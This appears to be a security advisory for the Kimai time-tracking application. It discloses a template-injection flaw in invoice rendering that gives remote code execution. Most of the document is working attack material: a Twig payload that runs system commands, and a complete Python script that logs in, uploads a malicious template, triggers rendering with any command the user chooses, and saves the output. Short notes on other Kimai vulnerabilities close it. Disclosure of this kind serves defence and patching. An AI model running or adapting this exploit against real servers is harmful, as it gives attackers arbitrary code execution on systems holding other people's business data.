Description
The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.
Snippet of Vulnerable Code:
php public function render(array $timesheets, TimesheetQuery $query): Response { ... $content = $this->twig->render($this->getTemplate(), arraymerge([ 'entries' => $timesheets, 'query' => $query, ... ], $this->getOptions($query))); ... $content = $this->converter->convertToPdf($content, $pdfOptions); ... return $this->createPdfResponse($content, $context); }
The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.
In below, you can find the docker-compose file was used for this testing:
yaml version: '3.5' services:
sqldb: image: mysql:5.7 environment: - MYSQLROOTHOST='%' - MYSQLDATABASE=kimai - MYSQLUSER=kimaiuser - MYSQLPASSWORD=kimaipassword - MYSQLROOTPASSWORD=changemeplease
ports: - 3336:3306 volumes: - mysql:/var/lib/mysql command: --default-storage-engine innodb restart: unless-stopped healthcheck: test: mysqladmin -p$$MYSQLROOTPASSWORD ping -h 127.0.0.1 interval: 20s startperiod: 10s timeout: 10s retries: 3
nginx: image: tobybatch/nginx-fpm-reverse-proxy ports: - 8001:80 volumes: - public:/opt/kimai/public:ro restart: unless-stopped dependson: - kimai healthcheck: test: wget --spider http://nginx/health || exit 1 interval: 20s startperiod: 10s timeout: 10s retries: 3
kimai: # This is the latest FPM image of kimai image: kimai/kimai2:fpm-prod environment: - ADMINMAIL=admin@kimai.local - ADMINPASS=changemeplease - DATABASEURL=mysql://kimaiuser:kimaipassword@sqldb/kimai - TRUSTEDHOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2 - memorylimit=1024 volumes: - public:/opt/kimai/public # - var:/opt/kimai/var # - ./ldap.conf:/etc/openldap/ldap.conf:z # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z restart: unless-stopped
phpmyadmin: image: phpmyadmin restart: always ports: - 8081:80 environment: - PMAARBITRARY=1
postfix: image: catatnight/postfix:latest environment: maildomain: neontribe.co.uk smtpuser: kimai:kimai restart: unless-stopped
volumes: var: public: mysql:
Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}} 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system
I've also attached an automated script to ease up the process of reproducing: # Proof of Concept python import requests import re import string import random import sys
session = requests.session() BASEURL = sys.argv[1]
def generate(size=6, chars=string.asciiuppercase + string.digits): return ''.join(random.choice(chars) for in range(size))
def getcsrf(path, session): try: projectid = "" csrftoken = "" previewid = "" templateids = [] activitycustomerlist = [] csrfloginresponse = session.get(f"{BASEURL}{path}").text # Extract CSRF Token pattern = re.compile(r'<input[^>]?name=["\'].?token[^"\']["\'][^>]?value="\'["\'][^>]?>', re.IGNORECASE) match = pattern.search(csrfloginresponse) if match: csrftoken = match.group(1) if "performSearch" in path: previewpattern = re.compile(r'<div[^>]id="preview-token"[^>]data-value="(.?)"[^>]>', re.IGNORECASE) previewmatch = previewpattern.search(csrfloginresponse) if previewmatch: previewid = previewmatch.group(1)
templatepattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE) templatematches = templatepattern.findall(csrfloginresponse) if templatematches: templateids = [int(id) for id in templatematches] if "timesheet" in path: optionpattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE) optionmatches = optionpattern.findall(csrfloginresponse) if optionmatches: activitycustomerlist = [(int(activityid), int(customerid)) for activityid, customerid in optionmatches] if "project" in path or "activity" in path: projectidmatch = re.search(r'<option value="(\d+)"[^>]data-currency="EUR"[^>]>', csrfloginresponse) if projectidmatch: projectid = projectidmatch.group(1) return csrftoken, projectid, previewid, templateids, activitycustomerlist except Exception as e: print(f"Error occurred: {e}") return None, None, None, None, None
def login(username,password,csrf,session): try: params = {"username": username, "password": password, "csrftoken": csrf} loginresponse = session.post(f"{BASEURL}/logincheck", data=params, allowredirects=True) if "I forgot my password" not in loginresponse.text: print(f"[+] Logged in: {username}") return session else: print("Wrong username,password", username) exit(1) except Exception as e: print(str(e)) pass
def createcustomer(token,name,session): try:
data = { 'customereditform[name]': (None, name), 'customereditform[color]': (None, ''), 'customereditform[comment]': (None, 'xx'), 'customereditform[address]': (None, 'xx'), 'customereditform[company]': (None, ''), 'customereditform[number]': (None, '0002'), 'customereditform[vatId]': (None, ''), 'customereditform[country]': (None, 'DE'), 'customereditform[currency]': (None, 'EUR'), 'customereditform[timezone]': (None, 'UTC'), 'customereditform[contact]': (None, ''), 'customereditform[email]': (None, ''), 'customereditform[homepage]': (None, ''), 'customereditform[mobile]': (None, ''), 'customereditform[phone]': (None, ''), 'customereditform[fax]': (None, ''), 'customereditform[budget]': (None, '0.00'), 'customereditform[timeBudget]': (None, '0:00'), 'customereditform[budgetType]': (None, ''), 'customereditform[visible]': (None, '1'), 'customereditform[billable]': (None, '1'), 'customereditform[invoiceTemplate]': (None, ''), 'customereditform[invoiceText]': (None, ''), 'customereditform[token]': (None, token), }
response = session.post(f"{BASEURL}/admin/customer/create", files=data)
except Exception as e: print(str(e))
def createproject(token, name,projectid ,session): try: formdata = { 'projecteditform[name]': (None, name), 'projecteditform[color]': (None, ''), 'projecteditform[comment]': (None, ''), 'projecteditform[customer]': (None, projectid), 'projecteditform[orderNumber]': (None, ''), 'projecteditform[orderDate]': (None, ''), 'projecteditform[start]': (None, ''), 'projecteditform[end]': (None, ''), 'projecteditform[budget]': (None, '0.00'), 'projecteditform[timeBudget]': (None, '0:00'), 'projecteditform[budgetType]': (None, ''), 'projecteditform[visible]': (None, '1'), 'projecteditform[billable]': (None, '1'), 'projecteditform[globalActivities]': (None, '1'), 'projecteditform[invoiceText]': (None, ''), 'projecteditform[token]': (None, token) } response = session.post(f"{BASEURL}/admin/project/create", files=formdata) except Exception as e: print(str(e))
def createactivity(token, name,projectid ,session): try: formdata = { 'activityeditform[name]': (None, name), 'activityeditform[color]': (None, ''), 'activityeditform[comment]': (None, ''), 'activityeditform[project]': (None, ''), 'activityeditform[budget]': (None, '0.00'), 'activityeditform[timeBudget]': (None, '0:00'), 'activityeditform[budgetType]': (None, ''), 'activityeditform[visible]': (None, '1'), 'activityeditform[billable]': (None, '1'), 'activityeditform[invoiceText]': (None, ''), 'activityeditform[token]': (None, token), } response = session.post(f"{BASEURL}/admin/activity/create", files=formdata) if response.statuscode == 201: print(f"[+] Activity created: {name}")
except Exception as e: print(f"An error occurred: {str(e)}")
def uploadmaliciousdocument(token,session): try: formdata = { 'invoicedocumentuploadform[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'), 'invoicedocumentuploadform[token]': (None, token) } response = session.post(f"{BASEURL}/invoice/documentupload", files=formdata) if ".pdf.twig" in response.text: print("[+] Twig uploaded successfully!") else: print("[-] Error while uploading, exiting..") exit(1)
except Exception as e: print(f"An error occurred: {str(e)}") import re
def createmalicioustemplate(token, name, session): try: data = { 'invoicetemplateform[name]': name, 'invoicetemplateform[title]': name, 'invoicetemplateform[company]': name, 'invoicetemplateform[vatId]': '', 'invoicetemplateform[address]': '', 'invoicetemplateform[contact]': '', 'invoicetemplateform[paymentTerms]': '', 'invoicetemplateform[paymentDetails]': '', 'invoicetemplateform[dueDays]': '30', 'invoicetemplateform[vat]': '0.000', 'invoicetemplateform[language]': 'en', 'invoicetemplateform[numberGenerator]': 'default', 'invoicetemplateform[renderer]': 'din', 'invoicetemplateform[calculator]': 'default', 'invoicetemplateform[token]': token } response = session.post(f"{BASEURL}/invoice/template/create", data=data) # Define the regex pattern to capture the template ID and match the name pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s<td class="alwaysVisible colname">{re.escape(name)}</td>', re.DOTALL) # Search the response text with the regex pattern match = pattern.search(response.text) if match: templateid = match.group(1) # Extract the captured group print(f"[+] Malicious Template: {name}, Template ID: {templateid}") return templateid # Return the captured template ID else: print("[-] Failed to capture the template ID") createmalicioustemplate(token,name,session) except Exception as e: print(f"An error occurred: {str(e)}") exit(1)
def createtimesheet(token, activity, project, session): formdata = { 'timesheeteditform[begindate]': (None, '01/01/1980'), 'timesheeteditform[begintime]': (None, '12:00 AM'), 'timesheeteditform[duration]': (None, '0:15'), 'timesheeteditform[endtime]': (None, '12:15 AM'), 'timesheeteditform[customer]': (None, ''), 'timesheeteditform[project]': (None, project), 'timesheeteditform[activity]': (None, activity), 'timesheeteditform[description]': (None, ''), 'timesheeteditform[fixedRate]': (None, ''), 'timesheeteditform[hourlyRate]': (None, ''), 'timesheeteditform[billableMode]': (None, 'auto'), 'timesheeteditform[token]': (None, token) } response = session.post(f"{BASEURL}/timesheet/create", files=formdata,allowredirects=False) if response.statuscode == 302: # Changed to 200 as 301 is for redirection print(f"[+] Created a new timesheet")
##############################
login csrf, , , , = getcsrf("/login", session) login("admin", "password", csrf, session) login(sys.argv[2],sys.argv[3],csrf,session) create new customer
getcustomertoken, , , , = getcsrf("/admin/customer/create", session) customername = generate() createcustomer(getcustomertoken, customername, session) create new project with customername
getprojecttoken, customerid, , , = getcsrf("/admin/project/create", session) projectname = generate() createproject(getprojecttoken, projectname, customerid, session)
create new activity getactivitytoken, projectid, , , = getcsrf("/admin/activity/create", session) activityname = generate() createactivity(getactivitytoken, activityname, projectid, session)
EXPLOIT ######################
upload malicious file uploadtoken, , , , = getcsrf("/invoice/documentupload", session) uploadmaliciousdocument(uploadtoken, session)
create malicious template to trigger the SSTI gettemplatetoken, , , , = getcsrf("/invoice/template/create", session) template = generate() tempid = createmalicioustemplate(gettemplatetoken, template, session)
create a timesheet with projectid and activityid activitycustomerlist = getcsrf("/timesheet/create", session)[4] # get the activitycustomerlist from getcsrf function
print(f"[+] Constructing renderer URLs..") iterate through all relative projectids and customerid for exploit stabiliy for activityid, customerid in activitycustomerlist: csrf = getcsrf("/timesheet/create", session)[0] # Update CSRF token for each iteration print(f"[+] Creating timesheets with: Activity ID: {activityid}, Customer ID: {customerid}") createtimesheet(csrf, activityid, customerid, session) postData = { "searchTerm": "", "daterange": "", "state": "1", "billable": "0", "exported": "1", "orderBy": "begin", "order": "DESC", "exporter": "pdf" } # export timesheets so they appear in exported invoices export = session.post(f"{BASEURL}/timesheet/export/", data=postData).text if "PDF-1.4" in export: csrf, , , , = getcsrf("/invoice/", session) # get preview token to construct the preview URL to trigger SSTI csrf, projectid, previewid, templateids, activitycustomerlist = getcsrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&token={csrf}&template={tempid}", session) for templateid in templateids: rendererURL = f"{BASEURL}/invoice/preview/{customerid}/{previewid}?searchTerm=&daterange=&exported=1&template={tempid}&invoiceDate=&token={csrf}&customers[]={customerid}" # trigger the payload by visiting the renderer URL rce = session.get(rendererURL) if "PDF-1.4" in rce.text: print(rendererURL) print("[+] successfully executed payload") # save the pdf locally since rendered URL will expire as soon as we end the session pdf = f"{generate()}.pdf" with open(pdf,'wb') as pdfFile: pdfFile.write(rce.content) pdfFile.flush() pdfFile.close() print(f"[+] Saved results with name: {pdf}") exit(1)
print("[-] Failed to execute payload, try to trigger manually..")
which can be executed as such: bash $ python3 spl0it.py http://localhost:8001/en admin password "ls -la"
this will download the rendered file which will contain the results of the RCE:
!kimaiRCE
Impact
Remote Code Execution
Cross Site Scripting (XSS) vulnerability in kevinpapst kimai2 1.30.0 in /src/Twig/Runtime/MarkdownExtension.php, allows attackers to gain escalated privileges.
CSV Injection (aka Excel Macro Injection or Formula Injection) exists in creating new timesheet in Kimai. By filling the Description field with malicious payload, it will be mistreated while exporting to a CSV file.
kimai2 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
kimai2 is vulnerable to Improper Access Control